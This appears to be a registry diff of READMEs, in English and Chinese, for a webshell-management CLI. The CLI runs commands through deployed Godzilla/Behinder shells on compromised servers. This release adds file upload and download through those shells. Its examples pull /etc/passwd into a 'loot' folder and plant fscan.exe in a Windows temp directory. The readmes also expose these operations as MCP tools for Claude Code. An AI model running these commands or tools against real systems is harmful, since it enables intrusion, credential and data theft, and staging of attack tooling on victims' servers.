memshell-party-cli 0.3.2 → 0.3.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +41 -5
- package/README.md +36 -4
- package/dist/cli.js +1069 -97
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +1 -4
- package/dist/index.js +802 -97
- package/dist/index.js.map +1 -1
- package/package.json +2 -1
- package/skills/memshell-party/SKILL.md +36 -7
package/README.en.md
CHANGED
|
@@ -23,9 +23,11 @@ same HTTP API that powers `party.mem.mk/ui`.
|
|
|
23
23
|
is alive and the credentials work (echo/handshake round-trip).
|
|
24
24
|
- **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell
|
|
25
25
|
and prints its output (real `execCommand` / `Cmd` payload round-trip).
|
|
26
|
+
- **File transfer** — `memparty upload` / `memparty download` move files through Godzilla /
|
|
27
|
+
Behinder shells, chunked with integrity checks (remote size for Godzilla, MD5 for Behinder).
|
|
26
28
|
- **Named targets** — `memparty save` stores shells in projects (with remark + category),
|
|
27
29
|
then `memparty exec hw222/bh9060 --cmd "whoami"` needs no flags at all.
|
|
28
|
-
- **Operation log** — every gen/probe/connect/exec/save/note/remove operation is appended to
|
|
30
|
+
- **Operation log** — every gen/probe/connect/exec/download/upload/save/note/remove operation is appended to
|
|
29
31
|
`~/.memparty/operations.jsonl`; `memparty log` queries it by category and target.
|
|
30
32
|
- **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
|
|
31
33
|
- **Any backend** — defaults to the public site, override to your self-hosted instance.
|
|
@@ -177,6 +179,39 @@ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat
|
|
|
177
179
|
The gate-header flags are the same as for `connect`; `--json` returns
|
|
178
180
|
`{ ok, tool, url, command, output, durationMs }` for automation.
|
|
179
181
|
|
|
182
|
+
### File upload / download
|
|
183
|
+
|
|
184
|
+
`memparty upload` / `memparty download` transfer files through a deployed Godzilla / Behinder
|
|
185
|
+
shell, using the tool's real protocol (Godzilla's `uploadFile`/`bigFileUpload`/`bigFileDownload`
|
|
186
|
+
payload methods; Behinder's `FileOperation` payload class via create+append / downloadPart).
|
|
187
|
+
Large files are chunked automatically. Integrity is verified after transfer — the remote size
|
|
188
|
+
for Godzilla, the remote MD5 for Behinder — a failed check is an error, not a silent bad file.
|
|
189
|
+
|
|
190
|
+
```bash
|
|
191
|
+
# download: defaults to ./<remote basename>; -o sets the destination
|
|
192
|
+
# (an existing directory keeps the remote basename)
|
|
193
|
+
memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \
|
|
194
|
+
--header-value qSGAJScj /etc/passwd -o loot/passwd
|
|
195
|
+
|
|
196
|
+
# an existing local file is never overwritten unless --force is given
|
|
197
|
+
memparty download hw222 /var/log/app.log --force
|
|
198
|
+
|
|
199
|
+
# upload: overwrites the remote file (truncate + write), up to 64 MiB
|
|
200
|
+
memparty upload hw222/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
|
|
201
|
+
```
|
|
202
|
+
|
|
203
|
+
Failure semantics are explicit: missing remote file, bad credentials, or an exhausted chunk
|
|
204
|
+
retry all exit 1 with a clear message; an aborted upload warns that the remote file may be
|
|
205
|
+
partial. `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }`.
|
|
206
|
+
|
|
207
|
+
Non-ASCII paths: always fine on Behinder (paths travel inside the class constant pool, so the
|
|
208
|
+
platform charset is irrelevant). Godzilla's payload decodes path parameters with the server's
|
|
209
|
+
platform default charset — UTF-8 on JDK 18+ and virtually all Linux, so nothing is needed; on an
|
|
210
|
+
old JDK (8/11/17) on Chinese Windows the default is GBK — pass `--remote-charset GBK` (MCP:
|
|
211
|
+
`remoteCharset`) for non-ASCII paths there. On Behinder, files over 128 MiB are verified by size
|
|
212
|
+
instead of MD5 (the payload's check reads the whole file byte-by-byte). Limits: 2 GiB for
|
|
213
|
+
Godzilla (a payload int restriction), 64 MiB for Behinder upload, 2 GiB for Behinder download.
|
|
214
|
+
|
|
180
215
|
### Saved targets (projects)
|
|
181
216
|
|
|
182
217
|
Save a shell once, then reference it by name — no more flag soup. Shells live inside
|
|
@@ -208,9 +243,9 @@ Explicit flags still override stored values (`memparty exec hw222 --cmd id --pas
|
|
|
208
243
|
|
|
209
244
|
### Operation log
|
|
210
245
|
|
|
211
|
-
Every operation (gen, probe, connect, exec, save/note/remove) is appended as
|
|
212
|
-
line to `~/.memparty/operations.jsonl` — target, outcome, duration, and for exec the
|
|
213
|
-
plus truncated output. Credentials
|
|
246
|
+
Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended as
|
|
247
|
+
one JSON line to `~/.memparty/operations.jsonl` — target, outcome, duration, and for exec the
|
|
248
|
+
command plus truncated output. Credentials, payload bytes, and file contents are never logged.
|
|
214
249
|
|
|
215
250
|
```bash
|
|
216
251
|
memparty log # latest 50 operations, newest first
|
|
@@ -332,7 +367,8 @@ Example Claude Code / Claude Desktop config:
|
|
|
332
367
|
|
|
333
368
|
Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
|
|
334
369
|
`generate_memshell`, `generate_probe`, `parse_classname`, `server_version`, `connect_test`,
|
|
335
|
-
`exec_command`, `
|
|
370
|
+
`exec_command`, `download_file`, `upload_file`, `target_save`, `target_note`, `target_list`,
|
|
371
|
+
`target_remove`, `log_list`.
|
|
336
372
|
|
|
337
373
|
## AI skill (Claude Code)
|
|
338
374
|
|
package/README.md
CHANGED
|
@@ -20,9 +20,11 @@
|
|
|
20
20
|
凭证是否正确(回显 / 握手双向校验)。
|
|
21
21
|
- **命令执行** —— `memparty exec` 在已部署的哥斯拉 / 冰蝎马上执行命令并回显输出
|
|
22
22
|
(真实 `execCommand` / `Cmd` payload 往返)。
|
|
23
|
+
- **文件传输** —— `memparty upload` / `memparty download` 在哥斯拉 / 冰蝎马上传下载文件,
|
|
24
|
+
分块传输 + 完整性校验(哥斯拉校验远端大小,冰蝎比对 MD5)。
|
|
23
25
|
- **命名目标** —— `memparty save` 把 shell 存进项目(支持备注 + 分类),之后
|
|
24
26
|
`memparty exec hw222/bh9060 --cmd "whoami"` 一个名字就够。
|
|
25
|
-
- **操作日志** —— 每次 gen/probe/connect/exec/save/note/remove 操作都追加到
|
|
27
|
+
- **操作日志** —— 每次 gen/probe/connect/exec/download/upload/save/note/remove 操作都追加到
|
|
26
28
|
`~/.memparty/operations.jsonl`,`memparty log` 按分类和目标查询。
|
|
27
29
|
- **灵活的输出** —— payload 默认输出到 stdout,`-o file` 写文件(`.class`/`.jar` 自动
|
|
28
30
|
base64 解码)。
|
|
@@ -173,6 +175,35 @@ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat
|
|
|
173
175
|
门禁头参数与 `connect` 相同;`--json` 返回 `{ ok, tool, url, command, output, durationMs }`,
|
|
174
176
|
方便脚本与 agent 使用。
|
|
175
177
|
|
|
178
|
+
### 文件上传 / 下载
|
|
179
|
+
|
|
180
|
+
`memparty upload` / `memparty download` 在已部署的哥斯拉 / 冰蝎 shell 上传输文件(真实
|
|
181
|
+
协议:哥斯拉调 payload 的 `uploadFile`/`bigFileUpload`/`bigFileDownload` 方法,冰蝎上传
|
|
182
|
+
`FileOperation` payload 类走 create+append / downloadPart)。大文件自动分块;哥斯拉传输后
|
|
183
|
+
校验远端文件大小,冰蝎比对远端 MD5——校验不过直接报错,不会留下"看起来成功"的坏文件。
|
|
184
|
+
|
|
185
|
+
```bash
|
|
186
|
+
# 下载:默认落到当前目录的远端同名文件;-o 指定目标(目录则保留远端文件名)
|
|
187
|
+
memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \
|
|
188
|
+
--header-value qSGAJScj /etc/passwd -o loot/passwd
|
|
189
|
+
|
|
190
|
+
# 已存在的本地文件不会被覆盖,除非显式 --force
|
|
191
|
+
memparty download hw222 /var/log/app.log --force
|
|
192
|
+
|
|
193
|
+
# 上传:覆盖写远端文件(截断 + 写入),上限 64 MiB
|
|
194
|
+
memparty upload hw222/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
失败语义要清楚:远端文件不存在、凭证错误、分块重试耗尽都会以退出码 1 报错;上传中途失败
|
|
198
|
+
时报错会提示远端文件可能是残缺的。`--json` 返回
|
|
199
|
+
`{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }`。
|
|
200
|
+
|
|
201
|
+
非 ASCII 路径:冰蝎总是可用(路径经 class 常量池传输,与平台字符集无关);哥斯拉的路径参数
|
|
202
|
+
由服务端按平台默认字符集解码——JDK 18+ 与 Linux 都是 UTF-8,无需任何处理;老 JDK(8/11/17)
|
|
203
|
+
的中文 Windows 目标是 GBK,传中文路径时加 `--remote-charset GBK`(MCP 参数 `remoteCharset`)。
|
|
204
|
+
冰蝎对 >128 MiB 的文件改用尺寸校验代替 MD5(payload 的 check 会逐字节读全文件)。
|
|
205
|
+
单文件上限:哥斯拉 2 GiB(payload 的 int 限制),冰蝎上传 64 MiB、下载 2 GiB。
|
|
206
|
+
|
|
176
207
|
### 命名目标(项目)
|
|
177
208
|
|
|
178
209
|
保存一次,之后用名字引用 —— 不用再抄一串参数。shell 存放在**项目**里:一个项目
|
|
@@ -207,9 +238,9 @@ memparty remove hw222 # 删整个项目
|
|
|
207
238
|
|
|
208
239
|
### 操作日志
|
|
209
240
|
|
|
210
|
-
每次操作(gen、probe、connect、exec、save/note/remove)都以一行 JSON 追加到
|
|
241
|
+
每次操作(gen、probe、connect、exec、download、upload、save/note/remove)都以一行 JSON 追加到
|
|
211
242
|
`~/.memparty/operations.jsonl` —— 记录目标、结果、耗时,exec 还记录命令和截断后的输出。
|
|
212
|
-
|
|
243
|
+
凭证、payload 内容和传输的文件内容不会写入日志。
|
|
213
244
|
|
|
214
245
|
```bash
|
|
215
246
|
memparty log # 最近 50 条,新的在前
|
|
@@ -330,7 +361,8 @@ Claude Code / Claude Desktop 配置示例:
|
|
|
330
361
|
|
|
331
362
|
暴露的工具:`list_servers`、`list_config`、`list_packers`、`list_command_configs`、
|
|
332
363
|
`generate_memshell`、`generate_probe`、`parse_classname`、`server_version`、`connect_test`、
|
|
333
|
-
`exec_command`、`target_save`、`target_note`、`target_list
|
|
364
|
+
`exec_command`、`download_file`、`upload_file`、`target_save`、`target_note`、`target_list`、
|
|
365
|
+
`target_remove`、`log_list`。
|
|
334
366
|
|
|
335
367
|
## AI 技能(Claude Code)
|
|
336
368
|
|